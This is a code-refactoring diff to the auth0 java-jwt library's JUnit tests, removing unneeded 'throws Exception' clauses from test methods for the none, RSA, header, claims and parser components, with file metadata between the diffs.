@@ -234,7 +234,7 @@ public void shouldDoHMAC384SigningWithString() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC512SigningWithString() throws Exception {
+    public void shouldDoHMAC512SigningWithString() {
         Algorithm algorithm = Algorithm.HMAC512("secret");
 
         String jwt = asJWT(algorithm ,HS512Header, auth0IssPayload);
@@ -274,7 +274,7 @@ public void shouldThrowOnSignWhenTheSecretIsInvalid() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyId() throws Exception {
+    public void shouldReturnNullSigningKeyId() {
         assertThat(Algorithm.HMAC256("secret").getSigningKeyId(), is(nullValue()));
     }
 u}(jJ  (263dc2496257c2033b4cba37759b970b19985428j  Alib/src/test/java/com/auth0/jwt/algorithms/NoneAlgorithmTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X  @@ -16,14 +16,14 @@ public class NoneAlgorithmTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldPassNoneVerification() throws Exception {
+    public void shouldPassNoneVerification() {
         Algorithm algorithm = Algorithm.none();
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         algorithm.verify(JWT.decode(jwt));
     }
 
     @Test
-    public void shouldFailNoneVerificationWhenTokenHasTwoParts() throws Exception {
+    public void shouldFailNoneVerificationWhenTokenHasTwoParts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9";
@@ -32,7 +32,7 @@ public void shouldFailNoneVerificationWhenTokenHasTwoParts() throws Exception {
     }
 
     @Test
-    public void shouldFailNoneVerificationWhenSignatureIsPresent() throws Exception {
+    public void shouldFailNoneVerificationWhenSignatureIsPresent() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: none");
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.Ox-WRXRaGAuWt2KfPvWiGcCrPqZtbp_4OnQzZXaTfss";
@@ -41,7 +41,7 @@ public void shouldFailNoneVerificationWhenSignatureIsPresent() throws Exception
     }
 
     @Test
-    public void shouldReturnNullSigningKeyId() throws Exception {
+    public void shouldReturnNullSigningKeyId() {
         assertThat(Algorithm.none().getSigningKeyId(), is(nullValue()));
     }
 u}(jJ  (115de64c9fbe04af0882a56a24063a9e3cfd11e1j  @lib/src/test/java/com/auth0/jwt/algorithms/RSAAlgorithmTest.javaj  modifiedj  K	j  K
j  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X  @@ -61,7 +61,7 @@ public void shouldPassRSA256VerificationWithProvidedPublicKey() throws Exception
     }
 
     @Test
-    public void shouldFailRSA256VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailRSA256VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -118,7 +118,7 @@ public void shouldPassRSA384VerificationWithProvidedPublicKey() throws Exception
     }
 
     @Test
-    public void shouldFailRSA384VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailRSA384VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA384withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -175,7 +175,7 @@ public void shouldPassRSA512VerificationWithProvidedPublicKey() throws Exception
     }
 
     @Test
-    public void shouldFailRSA512VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailRSA512VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA512withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -309,7 +309,7 @@ public void shouldDoRSA256SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnRSA256SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -373,7 +373,7 @@ public void shouldDoRSA384SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnRSA384SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA384withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -437,7 +437,7 @@ public void shouldDoRSA512SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnRSA512SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA512withRSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -512,7 +512,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Exception {
+    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         RSAKeyProvider provider = RSAAlgorithm.providerForKeys(publicKey, privateKey);
@@ -522,7 +522,7 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Ex
     }
 
     @Test
-    public void shouldReturnSigningKeyIdFromProvider() throws Exception {
+    public void shouldReturnSigningKeyIdFromProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("keyId");
         Algorithm algorithm = new RSAAlgorithm("some-alg", "some-algorithm", provider);
@@ -552,11 +552,10 @@ public void shouldBeEqualSignatureMethodResults() throws Exception {
      * Test deprecated signing method error handling.
      * 
      * @see {@linkplain #shouldFailOnRSA256SigningWhenProvidedPrivateKeyIsNull}
-     * @throws Exception expected exception
      */
     
     @Test
-    public void shouldFailOnRSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnRSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withRSA");
         exception.expectCause(isA(IllegalStateException.class));u}(jJ  (e3d04c77c3709f2f9132edda5babc2ca20bcf878j  9lib/src/test/java/com/auth0/jwt/impl/BasicHeaderTest.javaj  modifiedj  K
j  K
j  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X  @@ -25,21 +25,21 @@ public class BasicHeaderTest {
 
     @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNonNullTree() throws Exception {
+    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNonNullTree() {
         exception.expect(UnsupportedOperationException.class);
         BasicHeader header = new BasicHeader(null, null, null, null, new HashMap<String, JsonNode>(), objectReader);
         header.getTree().put("something", null);
     }
 
     @Test
-    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNullTree() throws Exception {
+    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNullTree() {
         exception.expect(UnsupportedOperationException.class);
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
         header.getTree().put("something", null);
     }
 
     @Test
-    public void shouldHaveTree() throws Exception {
+    public void shouldHaveTree() {
         HashMap<String, JsonNode> map = new HashMap<>();
         JsonNode node = NullNode.getInstance();
         map.put("key", node);
@@ -50,7 +50,7 @@ public void shouldHaveTree() throws Exception {
     }
 
     @Test
-    public void shouldGetAlgorithm() throws Exception {
+    public void shouldGetAlgorithm() {
         BasicHeader header = new BasicHeader("HS256", null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -59,15 +59,15 @@ public void shouldGetAlgorithm() throws Exception {
     }
 
     @Test
-    public void shouldGetNullAlgorithmIfMissing() throws Exception {
+    public void shouldGetNullAlgorithmIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getAlgorithm(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetType() throws Exception {
+    public void shouldGetType() {
         BasicHeader header = new BasicHeader(null, "jwt", null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -76,15 +76,15 @@ public void shouldGetType() throws Exception {
     }
 
     @Test
-    public void shouldGetNullTypeIfMissing() throws Exception {
+    public void shouldGetNullTypeIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getType(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetContentType() throws Exception {
+    public void shouldGetContentType() {
         BasicHeader header = new BasicHeader(null, null, "content", null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -93,15 +93,15 @@ public void shouldGetContentType() throws Exception {
     }
 
     @Test
-    public void shouldGetNullContentTypeIfMissing() throws Exception {
+    public void shouldGetNullContentTypeIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getContentType(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetKeyId() throws Exception {
+    public void shouldGetKeyId() {
         BasicHeader header = new BasicHeader(null, null, null, "key", null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -110,15 +110,15 @@ public void shouldGetKeyId() throws Exception {
     }
 
     @Test
-    public void shouldGetNullKeyIdIfMissing() throws Exception {
+    public void shouldGetNullKeyIdIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getKeyId(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetExtraClaim() throws Exception {
+    public void shouldGetExtraClaim() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         BasicHeader header = new BasicHeader(null, null, null, null, tree, objectReader);
@@ -129,7 +129,7 @@ public void shouldGetExtraClaim() throws Exception {
     }
 
     @Test
-    public void shouldGetNotNullExtraClaimIfMissing() throws Exception {
+    public void shouldGetNotNullExtraClaimIfMissing() {
         Map<String, JsonNode> tree = new HashMap<>();
         BasicHeader header = new BasicHeader(null, null, null, null, tree, objectReader);
 u}(jJ  (38601bdcc671d7776f25bd17517c77330bc23b3dj  :lib/src/test/java/com/auth0/jwt/impl/ClaimsHolderTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X  @@ -13,7 +13,7 @@ public class ClaimsHolderTest {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldGetClaims() throws Exception {
+    public void shouldGetClaims() {
         HashMap<String, Object> claims = new HashMap<>();
         claims.put("iss", "auth0");
         ClaimsHolder holder = new ClaimsHolder(claims);
@@ -24,7 +24,7 @@ public void shouldGetClaims() throws Exception {
     }
 
     @Test
-    public void shouldGetNotNullClaims() throws Exception {
+    public void shouldGetNotNullClaims() {
         ClaimsHolder holder = new ClaimsHolder(null);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));u}(jJ  (328f4ab493866621292f355ad5feed672da647bfj  @lib/src/test/java/com/auth0/jwt/impl/HeaderDeserializerTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X`  @@ -37,7 +37,7 @@ public class HeaderDeserializerTest {
     private ObjectReader objectReader = new ObjectMapper().reader();
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         deserializer = new HeaderDeserializer(objectReader);
     }
 
@@ -88,7 +88,7 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNullNode() throws Exception {
+    public void shouldGetNullStringWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -98,7 +98,7 @@ public void shouldGetNullStringWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNull() throws Exception {
+    public void shouldGetNullStringWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -107,7 +107,7 @@ public void shouldGetNullStringWhenParsingNull() throws Exception {
     }
 
     @Test
-    public void shouldGetStringWhenParsingTextNode() throws Exception {
+    public void shouldGetStringWhenParsingTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode node = new TextNode("something here");
         tree.put("key", node);u}(jJ  (a40a23d46289e8c4c63eecd82f811201db801a4ej  7lib/src/test/java/com/auth0/jwt/impl/JWTParserTest.javaj  modifiedj  K	j  K	j  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  XL  @@ -27,20 +27,20 @@ public class JWTParserTest {
     private JWTParser parser;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         parser = new JWTParser();
     }
 
     @Test
-    public void shouldGetDefaultObjectMapper() throws Exception {
+    public void shouldGetDefaultObjectMapper() {
         ObjectMapper mapper = getDefaultObjectMapper();
         assertThat(mapper, is(notNullValue()));
         assertThat(mapper, is(instanceOf(ObjectMapper.class)));
         assertThat(mapper.isEnabled(SerializationFeature.FAIL_ON_EMPTY_BEANS), is(false));
     }
 
     @Test
-    public void shouldAddDeserializers() throws Exception {
+    public void shouldAddDeserializers() {
         ObjectMapper mapper = mock(ObjectMapper.class);
         new JWTParser(mapper);
         verify(mapper).registerModule(any(Module.class));
@@ -58,7 +58,7 @@ public void shouldParsePayload() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidPayload() throws Exception {
+    public void shouldThrowOnInvalidPayload() {
         String jsonPayload = "{{";
         exception.expect(JWTDecodeException.class);
         exception.expectMessage(String.format("The string '%s' doesn't have a valid JSON format.", jsonPayload));
@@ -78,7 +78,7 @@ public void shouldParseHeader() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidHeader() throws Exception {
+    public void shouldThrowOnInvalidHeader() {
         String jsonHeader = "}}";
         exception.expect(JWTDecodeException.class);
         exception.expectMessage(String.format("The string '%s' doesn't have a valid JSON format.", jsonHeader));
@@ -87,28 +87,28 @@ public void shouldThrowOnInvalidHeader() throws Exception {
     }
 
     @Test
-    public void shouldThrowWhenConvertingHeaderIfNullJson() throws Exception {
+    public void shouldThrowWhenConvertingHeaderIfNullJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string 'null' doesn't have a valid JSON format.");
         parser.parseHeader(null);
     }
 
     @Test
-    public void shouldThrowWhenConvertingHeaderFromInvalidJson() throws Exception {
+    public void shouldThrowWhenConvertingHeaderFromInvalidJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string '}{' doesn't have a valid JSON format.");
         parser.parseHeader("}{");
     }
 
     @Test
-    public void shouldThrowWhenConvertingPayloadIfNullJson() throws Exception {
+    public void shouldThrowWhenConvertingPayloadIfNullJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string 'null' doesn't have a valid JSON format.");
         parser.parsePayload(null);
     }
 
     @Test
-    public void shouldThrowWhenConvertingPayloadFromInvalidJson() throws Exception {
+    public void shouldThrowWhenConvertingPayloadFromInvalidJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string '}{' doesn't have a valid JSON format.");
         parser.parsePayload("}{");u}(jJ  (3299134d518547067f24099c2a6a0584de1f5727j  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj  modifiedj  K(j  K(j  KPj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X_6  @@ -39,13 +39,13 @@ public class JsonNodeClaimTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         mapper = getDefaultObjectMapper();
         objectReader = mapper.reader();
     }
 
     @Test
-    public void shouldGetBooleanValue() throws Exception {
+    public void shouldGetBooleanValue() {
         JsonNode value = mapper.valueToTree(true);
         Claim claim = claimFromNode(value);
 
@@ -58,15 +58,15 @@ private Claim claimFromNode(JsonNode value) {
     }
 
     @Test
-    public void shouldGetNullBooleanIfNotBooleanValue() throws Exception {
+    public void shouldGetNullBooleanIfNotBooleanValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asBoolean(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("boolean");
         assertThat(claimFromNode(stringValue).asBoolean(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetIntValue() throws Exception {
+    public void shouldGetIntValue() {
         JsonNode value = mapper.valueToTree(123);
         Claim claim = claimFromNode(value);
 
@@ -75,15 +75,15 @@ public void shouldGetIntValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullIntIfNotIntValue() throws Exception {
+    public void shouldGetNullIntIfNotIntValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asInt(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("123");
         assertThat(claimFromNode(stringValue).asInt(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetLongValue() throws Exception {
+    public void shouldGetLongValue() {
         JsonNode value = mapper.valueToTree(Long.MAX_VALUE);
         Claim claim = claimFromNode(value);
 
@@ -92,15 +92,15 @@ public void shouldGetLongValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullLongIfNotIntValue() throws Exception {
+    public void shouldGetNullLongIfNotIntValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asLong(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("" + Long.MAX_VALUE);
         assertThat(claimFromNode(stringValue).asLong(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetDoubleValue() throws Exception {
+    public void shouldGetDoubleValue() {
         JsonNode value = mapper.valueToTree(1.5);
         Claim claim = claimFromNode(value);
 
@@ -109,15 +109,15 @@ public void shouldGetDoubleValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullDoubleIfNotDoubleValue() throws Exception {
+    public void shouldGetNullDoubleIfNotDoubleValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asDouble(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("123.23");
         assertThat(claimFromNode(stringValue).asDouble(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetDateValue() throws Exception {
+    public void shouldGetDateValue() {
         JsonNode value = mapper.valueToTree(1476824844L);
         Claim claim = claimFromNode(value);
 
@@ -126,15 +126,15 @@ public void shouldGetDateValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullDateIfNotDateValue() throws Exception {
+    public void shouldGetNullDateIfNotDateValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asDate(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("1476824844");
         assertThat(claimFromNode(stringValue).asDate(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetStringValue() throws Exception {
+    public void shouldGetStringValue() {
         JsonNode value = mapper.valueToTree("string");
         Claim claim = claimFromNode(value);
 
@@ -143,15 +143,15 @@ public void shouldGetStringValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringIfNotStringValue() throws Exception {
+    public void shouldGetNullStringIfNotStringValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asString(), is(nullValue()));
         JsonNode intValue = mapper.valueToTree(12345);
         assertThat(claimFromNode(intValue).asString(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetArrayValueOfCustomClass() throws Exception {
+    public void shouldGetArrayValueOfCustomClass() {
         JsonNode value = mapper.valueToTree(new UserPojo[]{new UserPojo("George", 1), new UserPojo("Mark", 2)});
         Claim claim = claimFromNode(value);
 
@@ -160,7 +160,7 @@ public void shouldGetArrayValueOfCustomClass() throws Exception {
     }
 
     @Test
-    public void shouldGetArrayValue() throws Exception {
+    public void shouldGetArrayValue() {
         JsonNode value = mapper.valueToTree(new String[]{"string1", "string2"});
         Claim claim = claimFromNode(value);
 
@@ -169,23 +169,23 @@ public void shouldGetArrayValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullArrayIfNullValue() throws Exception {
+    public void shouldGetNullArrayIfNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asArray(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullArrayIfNonArrayValue() throws Exception {
+    public void shouldGetNullArrayIfNonArrayValue() {
         JsonNode value = mapper.valueToTree(1);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asArray(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldThrowIfArrayClassMismatch() throws Exception {
+    public void shouldThrowIfArrayClassMismatch() {
         JsonNode value = mapper.valueToTree(new String[]{"keys", "values"});
         Claim claim = claimFromNode(value);
 
@@ -194,7 +194,7 @@ public void shouldThrowIfArrayClassMismatch() throws Exception {
     }
 
     @Test
-    public void shouldGetListValueOfCustomClass() throws Exception {
+    public void shouldGetListValueOfCustomClass() {
         JsonNode value = mapper.valueToTree(Arrays.asList(new UserPojo("George", 1), new UserPojo("Mark", 2)));
         Claim claim = claimFromNode(value);
 
@@ -203,7 +203,7 @@ public void shouldGetListValueOfCustomClass() throws Exception {
     }
 
     @Test
-    public void shouldGetListValue() throws Exception {
+    public void shouldGetListValue() {
         JsonNode value = mapper.valueToTree(Arrays.asList("string1", "string2"));
         Claim claim = claimFromNode(value);
 
@@ -212,23 +212,23 @@ public void shouldGetListValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullListIfNullValue() throws Exception {
+    public void shouldGetNullListIfNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asList(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullListIfNonArrayValue() throws Exception {
+    public void shouldGetNullListIfNonArrayValue() {
         JsonNode value = mapper.valueToTree(1);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asList(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldThrowIfListClassMismatch() throws Exception {
+    public void shouldThrowIfListClassMismatch() {
         JsonNode value = mapper.valueToTree(new String[]{"keys", "values"});
         Claim claim = claimFromNode(value);
 
@@ -237,23 +237,23 @@ public void shouldThrowIfListClassMismatch() throws Exception {
     }
 
     @Test
-    public void shouldGetNullMapIfNullValue() throws Exception {
+    public void shouldGetNullMapIfNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asMap(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullMapIfNonArrayValue() throws Exception {
+    public void shouldGetNullMapIfNonArrayValue() {
         JsonNode value = mapper.valueToTree(1);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asMap(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetMapValue() throws Exception {
+    public void shouldGetMapValue() {
         Map<String, Object> map = new HashMap<>();
         map.put("text", "extraValue");
         map.put("number", 12);
@@ -292,7 +292,7 @@ public void shouldThrowIfAnExtraordinaryExceptionHappensWhenParsingAsGenericMap(
     }
 
     @Test
-    public void shouldGetCustomClassValue() throws Exception {
+    public void shouldGetCustomClassValue() {
         JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
         Claim claim = claimFromNode(value);
 
@@ -302,7 +302,7 @@ public void shouldGetCustomClassValue() throws Exception {
     }
 
     @Test
-    public void shouldThrowIfCustomClassMismatch() throws Exception {
+    public void shouldThrowIfCustomClassMismatch() {
         JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
         Claim claim = claimFromNode(value);
 
@@ -312,7 +312,7 @@ public void shouldThrowIfCustomClassMismatch() throws Exception {
 
     @SuppressWarnings({"unchecked", "RedundantCast"})
     @Test
-    public void shouldGetAsMapValue() throws Exception {
+    public void shouldGetAsMapValue() {
         JsonNode value = mapper.valueToTree(Collections.singletonMap("key", new UserPojo("john", 123)));
         Claim claim = claimFromNode(value);
 
@@ -323,7 +323,7 @@ public void shouldGetAsMapValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnBaseClaimWhenParsingMissingNode() throws Exception {
+    public void shouldReturnBaseClaimWhenParsingMissingNode() {
         JsonNode value = MissingNode.getInstance();
         Claim claim = claimFromNode(value);
 
@@ -333,7 +333,7 @@ public void shouldReturnBaseClaimWhenParsingMissingNode() throws Exception {
     }
 
     @Test
-    public void shouldReturnBaseClaimWhenParsingNullNode() throws Exception {
